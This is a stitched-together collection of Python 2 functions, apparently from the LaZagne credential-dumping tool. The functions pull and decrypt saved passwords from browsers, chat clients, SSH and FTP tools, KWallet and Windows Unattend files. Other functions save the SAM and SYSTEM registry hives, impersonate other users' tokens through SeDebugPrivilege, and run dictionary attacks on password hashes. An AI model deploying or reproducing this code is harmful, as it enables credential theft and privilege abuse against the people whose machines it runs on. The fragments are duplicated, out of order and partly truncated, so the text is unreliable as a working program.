def run(self, software_name = None): creds = [] key = 'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89' if constant.appdata: inifile = '%s\\Kalypso Media\\Launcher\\launcher.ini' % constant.appdata elif 'APPDATA' in os.environ: inifile = os.environ['APPDATA'] + '\\Kalypso Media\\Launcher\\launcher.ini' else: print_debug('ERROR', 'The APPDATA environment variable is not defined.') return # The actual user details are stored in *.userdata files if not os.path.exists(inifile): print_debug('INFO', 'The Kalypso Media Launcher doesn\'t appear to be installed.') return config = ConfigParser.ConfigParser() config.read(inifile) values = {} values['Login'] = config.get('styx user','login') # get the encoded password cookedpw = base64.b64decode(config.get('styx user','password')); values['Password'] = self.xorstring(cookedpw, key) creds.append(values) return creds
def run(self, software_name = None): pwdFound = [] file_path = os.path.join(constant.profile["APPDATA"], 'Subversion\\auth\\svn.simple') if os.path.exists(file_path): for root, dirs, files in os.walk(file_path + os.sep): for name_file in files: f = open(file_path + os.sep + name_file, 'r') url = '' username = '' result = '' i = 0 # password for line in f: if i == -1: result = line.replace('\n', '') break if line.startswith('password'): i = -3 i+=1 i = 0 # url for line in f: if i == -1: url = line.replace('\n', '') break if line.startswith('svn:realmstring'): i = -3 i+=1 i = 0 # username for line in f: if i == -1: username = line.replace('\n', '') break if line.startswith('username'): i = -3 i+=1 # encrypted the password if result: try: password = Win32CryptUnprotectData(base64.b64decode(result)) pwdFound.append( { 'URL' : url, 'Login' : username, 'Password' : str(password) } ) except: pass return pwdFound else: print_debug('INFO', 'Tortoise not installed.')
def run(self, software_name = None): try: database_path = self.get_default_database() except Exception,e: print_debug('DEBUG', '{0}'.format(e)) print_debug('INFO', 'Puttycm not installed') return
def run(self, software_name = None): if os.getuid() == 0: print_debug('INFO', 'Do not run with root privileges\n') return try: from PyKDE4.kdeui import KWallet from PyQt4.QtGui import QApplication pwdFound = [] app = QApplication([]) app.setApplicationName("KWallet") #Get the local wallet f = open(os.devnull, 'w') stdoutBackup = sys.stdout stderrBackup = sys.stderr sys.stdout = f sys.stderr = f wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0) #sys.stdout = stdoutBackup #sys.stderr = stderrBackup #Walk accros folders defined in the KWallet for folder in wallet.folderList(): wallet.setFolder(folder) entries = dict() #Get entries for this folder for entry in wallet.entryList(): values = {} entries[entry] = wallet.readEntry( entry ) values["Folder"] = folder values["Entry"] = entry values["Password"] = (entries[entry][1].toHex().data()).decode('hex').decode('utf-8')[5:] if len(values) != 0: pwdFound.append(values) return pwdFound except Exception,e: print_debug('ERROR', 'An error occurs with KWallet: {0}'.format(e))
def manage_advanced_options(): # File used for dictionary attacks if 'path' in args: constant.path = args['path'] if 'bruteforce' in args: constant.bruteforce = args['bruteforce'] # Mozilla advanced options if 'manually' in args: constant.manually = args['manually'] if 'specific_path' in args: constant.specific_path = args['specific_path'] # Jitsi advanced options if 'master_pwd' in args: constant.jitsi_masterpass = args['master_pwd'] # i.e advanced options if 'historic' in args: constant.ie_historic = args['historic'] if args['drive']: drive = args['drive'].upper() # drive letter between A and Z if drive != constant.drive: if len(drive) == 1 and (ord(drive) >= 50 and ord(drive) <= 90): constant.drive = drive else: print_debug('ERROR', 'Drive letter should be a letter between A and Z')
def list_sids(): """ List all SID by process """ sids = [] for pid in EnumProcesses(): if pid <= 4: continue try: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) if not hProcess: continue hToken = HANDLE(INVALID_HANDLE_VALUE) if OpenProcessToken(hProcess, tokenprivs, byref(hToken)): if hToken: token_sid, owner = get_token_info(hToken) if token_sid and owner: pname = '' sids.append((pid, pname, token_sid, owner)) CloseHandle(hToken) CloseHandle(hProcess) except Exception as e: print_debug('DEBUG', traceback.format_exc()) continue return list(sids)
def run(self, software_name = None): # retrieve opera folder all_passwords = [] for path in self.get_paths(): passwords = '' # check the use of master password if not os.path.exists(path + os.sep + 'operaprefs.ini'): print_debug('INFO', 'The preference file operaprefs.ini has not been found.') else: if self.masterPasswordUsed(path) == '0': print_debug('INFO', 'No master password defined.') elif self.masterPasswordUsed(path) == '1': print_debug('WARNING', 'A master password is used.') else: print_debug('WARNING', 'An error occurs, the use of master password is not sure.') print passwords = self.decipher_old_version(path) if passwords: all_passwords += self.parse_results(passwords) else: print_debug('INFO', 'The wand.dat seems to be empty') return all_passwords
def start_proc_with_token(args, hTokendupe, hidden=True): ##Start the process with the token. lpProcessInformation = PROCESS_INFORMATION() lpStartupInfo = STARTUPINFO() if hidden: lpStartupInfo.dwFlags = subprocess.STARTF_USESHOWWINDOW|subprocess.CREATE_NEW_PROCESS_GROUP lpStartupInfo.wShowWindow = subprocess.SW_HIDE CREATE_NEW_CONSOLE = 0x00000010 CREATE_UNICODE_ENVIRONMENT = 0x00000400 NORMAL_PRIORITY_CLASS = 0x00000020 dwCreationflag = NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE userenv = WinDLL('userenv', use_last_error=True) userenv.CreateEnvironmentBlock.argtypes = (POINTER(c_void_p), c_void_p, c_int) userenv.DestroyEnvironmentBlock.argtypes = (c_void_p,) cenv = c_void_p() success = userenv.CreateEnvironmentBlock(byref(cenv), hTokendupe, 0) if not success: return success = windll.advapi32.CreateProcessAsUserA(hTokendupe, None, ' '.join(args), None, None, True, dwCreationflag, cenv, None, byref(lpStartupInfo), byref(lpProcessInformation)) if not success: return print_debug('INFO', 'Process created PID: ' + str(lpProcessInformation.dwProcessId)) return lpProcessInformation.dwProcessId
def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ] saltLen = ord( privKeyEntry[1] ) nameLen = ord( privKeyEntry[2] ) privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] ) data = privKeyEntry[3+saltLen+nameLen:] self.printASN1(data, len(data), 0) #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData ) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode( privKey ) prKey= privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode( prKey ) id = prKeyASN1[0][1] key = long_to_bytes( prKeyASN1[0][3] ) print_debug('DEBUG', 'key: %s' % repr(key)) return key
def run(self, software_name = None): creds = [] directory = constant.profile['USERPROFILE'] + '\\Documents\\Rogue\'s Tale\\users' # The actual user details are stored in *.userdata files if not os.path.exists(directory): print_debug('INFO', 'Rogue\'s Tale appears to not be installed.') return files = os.listdir(directory) for file in files: if re.match('.*\.userdata',file): # We've found a user file, now extract the hash and username xmlfile = directory + '\\' + file tree = ET.ElementTree(file=xmlfile) root = tree.getroot() # Double check to make sure that the file is valid if root.tag != 'user': print_debug('Profile %s does not appear to be valid' % file) continue # Now save it to credentials creds.append( { 'Login' : root.attrib['username'], 'Hash' : root.attrib['password'] } ) return creds
def run(self, software_name = None): pwdFound = [] try: hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') if int(_winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: print_debug('INFO', 'Autologin enabled') keys = { 'DefaultDomainName' : '', 'DefaultUserName' : '', 'DefaultPassword' : '', 'AltDefaultDomainName' : '', 'AltDefaultUserName' : '', 'AltDefaultPassword' : '', } toRemove = [] for k in keys: try: keys[k] = str(_winreg.QueryValueEx(hkey, k)[0]) except: toRemove.append(k) for r in toRemove: keys.pop(r) if keys: pwdFound.append(keys) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return
def run(self, software_name = None): path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml') if os.path.exists(path): tree = ET.ElementTree(file=path) root = tree.getroot() accounts = root.getchildren() pwdFound = [] for a in accounts: values = {} aa = a.getchildren() noPass = True for tag in aa: cpt = 0 if tag.tag == 'name': cpt = 1 values['Login'] = tag.text if tag.tag == 'password': values['Password'] = tag.text noPass = False if noPass == False: pwdFound.append(values) return pwdFound else: print_debug('INFO', 'Pidgin not installed.')
def run(self, software_name = None): file_properties = self.get_path() if file_properties == 'JITSI_NOT_EXISTS': print_debug('INFO', 'Jitsi not installed.') else: return self.get_info(file_properties)
def extract_private_keys_unprotected(self): """ Extract all DSA/RSA private keys that are not protected with a passphrase. :return: List of encoded key (key file content) """ keys = [] if os.path.isdir(self.key_files_location): for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True): for f in filenames: key_file_path = os.path.join(dirpath, f) if os.path.isfile(key_file_path): try: # Read encoded content of the key with open(key_file_path, "r") as key_file: key_content_encoded = key_file.read() # Determine the type of the key (public/private) and what is it algorithm if "DSA PRIVATE KEY" in key_content_encoded: key_algorithm = "DSA" elif "RSA PRIVATE KEY" in key_content_encoded: key_algorithm = "RSA" else: key_algorithm = None # Check if the key can be loaded (used) without passphrase if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded, key_algorithm): keys.append(key_content_encoded) except Exception as e: print_debug("ERROR", "Cannot load key file '%s' '%s'" % (key_file_path, e)) pass return keys
def get_history(self): urls = self.history_from_regedit() try: urls = urls + self.history_from_powershell() except Exception,e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', 'Browser history failed to load, only few url will be tried')
def run(self, software_name = None): # retrieve opera folder path = self.get_path() if not path: print_debug('INFO', 'Opera is not installed.') return passwords = '' # old versions if self.CIPHERED_FILE == u'wand.dat': # check the use of master password if not os.path.exists(os.path.join(path, u'operaprefs.ini')): print_debug('WARNING', 'The preference file operaprefs.ini has not been found.') return else: if self.masterPasswordUsed(path) == '1': print_debug('WARNING', 'A master password is used.') elif self.masterPasswordUsed(path) != '0': print_debug('ERROR', 'An error occurs, the use of master password is not sure.') passwords = self.decipher_old_version(path) if passwords: return self.parse_results(passwords) else: print_debug('INFO', 'The wand.dat seems to be empty') # new versions else: return self.decipher_new_version(path)
def is_private_key_unprotected(self, key_content_encoded, key_algorithm): """ Check if the private key can be loaded without specifying any passphrase. PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class. :param key_content_encoded: Encoded content of the private key to test :param key_algorithm: Algorithm of the key (RSA or DSA) :return: True only if the key can be successfuly loaded and is usable """ state = False try: # Try to load it if key_algorithm == "RSA": key = RSA.importKey(key_content_encoded) else: key = DSA.importKey(key_content_encoded) # Validate loading state = (key is not None and key.can_sign() and key.has_private()) except Exception as e: print_debug("ERROR", "Cannot validate key protection '%s'" % e) state = False pass return state
def decipher_new_version(self, path): database_path = os.path.join(path, u'Login Data') if os.path.exists(database_path): # Connect to the Database conn = sqlite3.connect(database_path) cursor = conn.cursor() # Get the results try: cursor.execute('SELECT action_url, username_value, password_value FROM logins') except Exception,e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', 'Opera seems to be used, the database is locked. Kill the process and try again !') return pwdFound = [] for result in cursor.fetchall(): values = {} # Decrypt the Password password = Win32CryptUnprotectData(result[2]) if password: values['URL'] = result[0] values['Login'] = result[1] values['Password'] = password pwdFound.append(values) return pwdFound
def get_logins_info(self): accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE try: key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0, accessRead) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return False
def accountrc_decrypt(self, filename, key, mode=DES.MODE_CFB): """ Reads passwords from ClawsMail's accountrc file """ p = ConfigParser() p.read(filename) pwdFound = [] for s in p.sections(): values = {} try: try: address = p.get(s, 'address') account = p.get(s, 'account_name') except: address = '<unknown>' account = '<unknown>' password = self.pass_decrypt(p.get(s, 'password'), key, mode=mode) # print('password for %s, %s is "%s"' % (account, address, password)) values = {'Login' : account, 'URL': address, 'Password': password} except Exception as e: print_debug('ERROR', 'Error resolving password for account "%s": %s' % (s, e)) # write credentials into a text file if len(values) != 0: pwdFound.append(values) return pwdFound
def history_from_regedit(self): urls = [] try: hkey = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs') except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return []
def get_info(self, key, username, path): if os.path.exists(os.path.join(path, 'config.xml')): values = {} try: values['Login'] = username # get encrypted hash from the config file enc_hex = self.get_hash_credential(os.path.join(path, 'config.xml')) if not enc_hex: print_debug('WARNING', 'No credential stored on the config.xml file.') else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash(enc_hex, key) values['shema to bruteforce using md5'] = values['Login'] + '\\nskyper\\n<password>' # Try a dictionary attack on the hash password = self.dictionary_attack(values['Login'], values['Hash']) if password: values['Password'] = password self.pwdFound.append(values) except Exception,e: print_debug('DEBUG', '{0}'.format(e))
def ListSids(): sids=[] for proc in psutil.process_iter(): try: pinfo = proc.as_dict(attrs=['pid', 'username', 'name']) except psutil.NoSuchProcess: pass if pinfo['pid']<=4: continue if pinfo['username'] is None: continue try: hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pinfo['pid'])) hToken = HANDLE(INVALID_HANDLE_VALUE) windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) try: sids.append((pinfo['pid'], pinfo['name'], GetTokenSid(hToken), pinfo['username'])) except: pass windll.kernel32.CloseHandle(hToken) windll.kernel32.CloseHandle(hProcess) except Exception as e: print_debug('ERROR', str(e)) return list(sids)
def impersonate_token(hToken): if not windll.Shell32.IsUserAnAdmin(): print_debug('ERROR', 'You need admin rights to run impersonate !') EnablePrivilege("SeDebugPrivilege") #hToken = getProcessToken(pid) hTokendupe = HANDLE( INVALID_HANDLE_VALUE ) SecurityImpersonation = 2 TokenPrimary = 1 if not windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) ): WinError() windll.kernel32.CloseHandle(hToken) try: EnablePrivilege("SeAssignPrimaryTokenPrivilege", hToken = hTokendupe) except Exception as e: pass try: EnablePrivilege("SeIncreaseQuotaPrivilege", hToken = hTokendupe) except Exception as e: pass try: EnablePrivilege("SeImpersonatePrivilege") except Exception as e: pass if not windll.advapi32.ImpersonateLoggedOnUser(hTokendupe): return return hTokendupe
def extract_repositories_credentials(self): """ Extract all repositories's credentials. See https://maven.apache.org/settings.html#Servers :return: List of dict in which one dict contains all information for a repository. """ repos_creds = [] maven_settings_file_location = constant.profile["USERPROFILE"] + "\\.m2\\settings.xml" if os.path.isfile(maven_settings_file_location): try: settings = ET.parse(maven_settings_file_location).getroot() server_nodes = settings.findall(".//%sserver" % self.settings_namespace) for server_node in server_nodes: creds = {} for child_node in server_node: tag_name = child_node.tag.replace(self.settings_namespace, "") if tag_name in self.nodes_to_extract: creds[tag_name] = child_node.text.strip() if len(creds) > 0: repos_creds.append(creds) except Exception as e: print_debug("ERROR", "Cannot retrieve repositories credentials '%s'" % e) pass return repos_creds
def get_creds(self): try: creds = win32cred.CredEnumerate(None, 0) return creds except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return None
def check_winscp_installed(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security') return key except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return False
def run_module(module, subcategories): """ Run only one module """ modules_to_launch = [] # Launch only a specific module for i in subcategories: if subcategories[i] and i in module: modules_to_launch.append(i) # Launch all modules if not modules_to_launch: modules_to_launch = module for i in modules_to_launch: try: constant.st.title_info(i.capitalize()) # Print title pwd_found = module[i].run() # Run the module constant.st.print_output(i.capitalize(), pwd_found) # Print the results # Return value - not used but needed yield True, i.capitalize(), pwd_found except Exception: error_message = traceback.format_exc() print_debug('DEBUG', error_message) yield False, i.capitalize(), error_message
def run(self, software_name = None): # realise that check only once if constant.checkUnattended: return constant.checkUnattended = True windir = os.path.join(constant.profile['HOMEDRIVE'], '\Windows') files = [ "\Panther\Unattend.xml", "\Panther\Unattended.xml", "\Panther\Unattend\Unattended.xml", "\Panther\Unattend\Unattend.xml", "\System32\Sysprep\unattend.xml", "\System32\Sysprep\Panther\unattend.xml" ] pwdFound = [] xmlns = '{urn:schemas-microsoft-com:unattend}' for file in files: path = '%s%s' % (windir, file) if os.path.exists(path): print_debug('INFO', 'Unattended file found: %s' % path) tree = ET.ElementTree(file=path) root = tree.getroot() for setting in root.findall('%ssettings' % xmlns): component = setting.find('%scomponent' % xmlns) autoLogon = component.find('%sAutoLogon' % xmlns) if autoLogon != None: username = autoLogon.find('%sUsername' % xmlns) password = autoLogon.find('%sPassword' % xmlns) if username != None and password != None: # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) if not 'deleted' in password.text.lower(): pwdFound.append( { 'Login' : username.text, 'Password' : self.try_b64_decode(password.text) } ) userAccounts = component.find('%sUserAccounts' % xmlns) if userAccounts != None: localAccounts = userAccounts.find('%sLocalAccounts' % xmlns) if localAccounts != None: for localAccount in localAccounts.findall('%sLocalAccount' % xmlns): username = localAccount.find('%sName' % xmlns) password = localAccount.find('%sPassword' % xmlns) if username != None and password != None: if not 'deleted' in password.text.lower(): pwdFound.append( { 'Login' : username.text, 'Password' : self.try_b64_decode(password.text) } ) return pwdFound
def run(self, software_name=None): if "HOMEDRIVE" in os.environ: path = os.environ.get("HOMEDRIVE") + os.sep + "FTP Navigator\\Ftplist.txt" if os.path.exists(path): return self.read_file(path) else: print_debug("INFO", "Paht %s does not exist.\nFTP Navigator not installed or not found." % path)
def run(self, software_name=None): application_path = self.get_application_path() if not application_path: print_debug('INFO', 'SQL Developer not installed.') elif application_path == 'SQL_NO_PASSWD': print_debug('INFO', 'No passwords found.') else: self._passphrase = self.get_passphrase(application_path) if self._passphrase == 'Not_Found': print_debug( 'WARNING', 'The self._passphrase used to encrypt has not been found.') elif self._passphrase == 'xml_Not_Found': print_debug( 'WARNING', 'The xml file containing the self._passphrase has not been found.' ) else: return self.get_infos(application_path)
def run(self, software_name=None): directory = constant.profile['APPDATA'] + '\Skype' if os.path.exists(directory): # retrieve the key used to build the salt key = self.get_regkey() if not key: print_debug('ERROR', 'The salt has not been retrieved') else: pwdFound = [] for d in os.listdir(directory): if os.path.exists(os.path.join(directory, d, 'config.xml')): values = {} try: values['Login'] = d # get encrypted hash from the config file enc_hex = self.get_hash_credential( os.path.join(directory, d, 'config.xml')) if not enc_hex: print_debug( 'WARNING', 'No credential stored on the config.xml file.' ) else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash( enc_hex, key) values[ 'shema to bruteforce using md5'] = values[ 'Login'] + '\\nskyper\\n<password>' # Try a dictionary attack on the hash password = self.dictionary_attack( values['Login'], values['Hash']) if password: values['Password'] = password pwdFound.append(values) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) return pwdFound
def __init__(self, password=None, pwdhash=None): self.sid = None self.umkp = None self.unlocked = False protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect') credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST') if os.path.exists(protect_folder): for folder in os.listdir(protect_folder): if folder.startswith('S-'): self.sid = folder break if self.sid: masterkeydir = os.path.join(protect_folder, self.sid) if os.path.exists(masterkeydir): self.umkp = MasterKeyPool() self.umkp.load_directory(masterkeydir) self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file) if password: for ok, r in self.umkp.try_credential(sid=self.sid, password=password): if ok: self.unlocked = True print_debug('OK', r) else: print_debug('ERROR', r) elif pwdhash: for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')): if ok: self.unlocked = True print_debug('OK', r) else: print_debug('ERROR', r)
def run(self, software_name=None): mainPath = self.get_mainPath() if mainPath == 'SQL_NOT_EXISTS': print_debug('INFO', 'SQL Developer not installed.') elif mainPath == 'SQL_NO_PASSWD': print_debug('INFO', 'No passwords found.') else: passphrase = self.get_passphrase(mainPath) if passphrase == 'Not_Found': print_debug( 'WARNING', 'The passphrase used to encrypt has not been found.') elif passphrase == 'xml_Not_Found': print_debug( 'WARNING', 'The xml file containing the passphrase has not been found.' ) else: salt = self.get_salt() return self.get_infos(mainPath, passphrase, salt)
def dictionary_attack(self, username, dic, pbkdf2=True): found = False try: if pbkdf2: print_debug('INFO', 'Dictionary attack started !') for word in dic: print_debug('INFO', 'Trying word: %s' % word) if str(self.entropyhex) == str( self.dictionary_attack_pbkdf2( str(word), binascii.unhexlify(self.salthex), self.iterations)): constant.system_pwd.append({ 'Account': username, 'Password': word }) print_debug('INFO', 'Password found: {word}'.format(word=word)) found = True break except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') return found
def dictionary_attack(self, user, cryptPwd): dic = get_dico() # By default 500 most famous passwords are used for the dictionary attack dic.insert(0, user) # Add the user on the list to found weak password (login equal password) # Different possible hash type # ID | Method # -------------------------------------------------------------------------- # 1 | MD5 # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) # 5 | SHA-256 (since glibc 2.7) # 6 | SHA-512 (since glibc 2.7) hash_type = cryptPwd.split("$")[1] hash_algo = { '1' : 'MD5', '2' : 'Blowfish', '5' : 'SHA-256', '6' : 'SHA-512', # Used by all modern computers } # For Debug information for h_type in hash_algo: if h_type == hash_type: print_debug('DEBUG', '[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type])) salt = cryptPwd.split("$")[2] realSalt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=cryptPwd.split("$")[2]) # -------------------------- Dictionary attack -------------------------- print_debug('INFO', 'Dictionary Attack on the hash !!! ') try: for word in dic: try: cryptWord = crypt.crypt(word, realSalt) if cryptWord == cryptPwd: return { 'Login' : user, 'Password' : word } except Exception, e: pass except (KeyboardInterrupt, SystemExit): print_debug('DEBUG', u'Dictionary attack interrupted') return False
class Skype(ModuleInfo): def __init__(self): options = { 'command': '-s', 'action': 'store_true', 'dest': 'skype', 'help': 'skype' } ModuleInfo.__init__(self, 'skype', 'chats', options) def aes_encrypt(self, message, passphrase): IV = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) # get value used to build the salt def get_regkey(self): try: accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE keyPath = 'Software\\Skype\\ProtectedStorage' try: hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) return '' num = win32api.RegQueryInfoKey(hkey)[1] k = win32api.RegEnumValue(hkey, 0) if k: key = k[1] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] except Exception, e: print_debug('DEBUG', '{0}'.format(e)) return 'failed'
class Puttycm(ModuleInfo): def __init__(self): options = { 'command': '-p', 'action': 'store_true', 'dest': 'puttycm', 'help': 'puttycm' } ModuleInfo.__init__(self, 'puttycm', 'sysadmin', options) def run(self, software_name=None): try: database_path = self.get_default_database() except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug('INFO', 'Puttycm not installed') return if os.path.exists(database_path): return self.parse_xml(database_path) else: print_debug('WARNING', 'Default database does not exist: %s' % database_path)
def run(self, software_name=None): creds = [] # Find the location of steam - to make it easier we're going to use a try block # 'cos I'm lazy try: with _winreg.OpenKey(HKEY_CURRENT_USER, 'Software\Valve\Steam') as key: results = _winreg.QueryValueEx(key, 'SteamPath') except: print_debug('INFO', 'Steam does not appear to be installed.') return if not results: print_debug('INFO', 'Steam does not appear to be installed.') return steampath = results[0] userdata = steampath + '\\userdata' # Check that we have a userdata directory if not os.path.exists(userdata): print_debug('ERROR', 'Steam doesn\'t have a userdata directory.') return # Now look for Galcon Fusion in every user files = os.listdir(userdata) for file in files: filepath = userdata + '\\' + file + '\\44200\\remote\\galcon.cfg' if not os.path.exists(filepath): continue # If we're here we should have a Galcon Fusion file with open(filepath, mode='rb') as cfgfile: # We've found a config file, now extract the creds data = cfgfile.read() creds.append({ 'Login': data[4:0x23], 'Password': data[0x24:0x43] }) return creds
def run(self, software_name=None): creds = [] if constant.userprofile: directory = '%s\\Documents\\Rogue\'s Tale\\users' % constant.userprofile if 'USERPROFILE' in os.environ: directory = os.environ[ 'USERPROFILE'] + '\\Documents\\Rogue\'s Tale\\users' else: print_debug( 'ERROR', 'The USERPROFILE environment variable is not defined.') return # The actual user details are stored in *.userdata files if not os.path.exists(directory): print_debug('INFO', 'Rogue\'s Tale appears to not be installed.') return files = os.listdir(directory) for file in files: if re.match('.*\.userdata', file): # We've found a user file, now extract the hash and username values = {} xmlfile = directory + '\\' + file tree = ET.ElementTree(file=xmlfile) root = tree.getroot() # Double check to make sure that the file is valid if root.tag != 'user': print_debug('Profile ' + file + ' does not appear to be valid') continue # Now save it to credentials values['Login'] = root.attrib['username'] values['Hash'] = root.attrib['password'] creds.append(values) return creds
def run(self, software_name=None): database_path = '' homedrive = '' homepath = '' if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ: homedrive = os.environ.get('HOMEDRIVE') homepath = os.environ.get('HOMEPATH') # All possible path pathTab = [ homedrive + homepath + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', homedrive + homepath + '\AppData\Local\Google\Chrome\User Data\Default\Login Data', homedrive + '\Users\\' + getpass.getuser() + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', homedrive + '\Users\\' + getpass.getuser() + '\AppData\Local\Google\Chrome\User Data\Default\Login Data', 'C:\Users\\' + getpass.getuser() + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data', 'C:\Users\\' + getpass.getuser() + '\AppData\Local\Google\Chrome\User Data\Default\Login Data' ] database_path = [p for p in pathTab if os.path.exists(p)] if not database_path: print_debug('INFO', 'Google Chrome not installed.') return # if many path are valid if len(database_path) != 1: database_path = database_path[0] # Copy database before to query it (bypass lock errors) try: shutil.copy(database_path, os.getcwd() + os.sep + 'tmp_db') database_path = os.getcwd() + os.sep + 'tmp_db' except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', 'An error occured copying the database file')
def found_master_password(self, key_data, new_version=True): """ Try to found master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.passwordFound + get_dico() num_lines = (len(wordlist) - 1) print_debug('ATTACK', u'%d most used passwords !!! ' % num_lines) for word in wordlist: globalSalt, master_password, entrySalt = self.is_master_password_correct( key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: print_debug( 'INFO', u'Master password found: {master_password}'.format( master_password=master_password)) return globalSalt, master_password, entrySalt print_debug('WARNING', u'No password has been found using the default list') return ('', '', '')
def run(self, software_name=None): # Need admin privileges if not windll.Shell32.IsUserAnAdmin(): if logging.getLogger().isEnabledFor(logging.INFO) == True: Header().title('Windows Secrets') print_debug('WARNING', '[!] This script should be run as admin!') return # if hives already exists if self.check_existing_systemFiles(): self.delete_existing_systemFiles() # delete it # save system hives for f in self.sysFile: try: subprocess.Popen('reg.exe save hklm\%s %s.save' % (f, f), shell=True, stdout=subprocess.PIPE).stdout.read() except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', 'Failed to save %s hive' % f) return
def run(self, software_name=None): path = build_path(software_name) if path: pwdFound = [] for profile in os.listdir(path): database_path = os.path.join(path, profile, u'Login Data') if not os.path.exists(database_path): continue # Connect to the Database try: conn = sqlite3.connect(database_path) cursor = conn.cursor() except Exception,e: print_debug('ERROR', 'An error occured opening the database file') print_debug('DEBUG', traceback.format_exc()) continue # Get the results cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): try: # Decrypt the Password password = constant.user_dpapi.decrypt_blob(result[2]) if password: pwdFound.append( { 'URL' : result[0], 'Login' : result[1], 'Password' : password } ) except Exception,e: print_debug('DEBUG', traceback.format_exc()) conn.close()
def runLaZagne(category_choosed='all'): # ------ Part used for user impersonation ------ current_user = getpass.getuser().encode('utf-8', errors='ignore') if not current_user.endswith('$'): constant.finalResults = {'User': current_user} print '\n\n########## User: %s ##########\n' % current_user yield 'User', current_user set_env_variables() for r in runModule(category_choosed): yield r stdoutRes.append(constant.finalResults) # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: # --------- Impersonation using tokens --------- sids = ListSids() impersonateUsers = {} impersonated_user = [current_user] for sid in sids: # Not save the current user's SIDs if current_user != sid[3].split('\\', 1)[1]: impersonateUsers.setdefault(sid[3].split('\\', 1)[1], []).append(sid[2]) for user in impersonateUsers: if 'service ' in user.lower() or ' service' in user.lower(): continue print '\n\n########## User: %s ##########\n' % user.encode( 'utf-8', errors='ignore') yield 'User', user constant.finalResults = {'User': user} for sid in impersonateUsers[user]: try: set_env_variables(user, toImpersonate=True) if not impersonate_sid_long_handle(sid, close=False): continue # time.sleep(3) _cannot_be_impersonate_using_tokens = False _need_system_privileges = False if sid == "S-1-5-18": _need_system_privileges = True else: impersonated_user.append(user) _cannot_be_impersonate_using_tokens = True # Launch module wanted for r in runModule( category_choosed, need_system_privileges=_need_system_privileges, cannot_be_impersonate_using_tokens= _cannot_be_impersonate_using_tokens): yield r rev2self() stdoutRes.append(constant.finalResults) break except Exception, e: print e pass # --------- Impersonation browsing file system # Ready to check for all users remaining 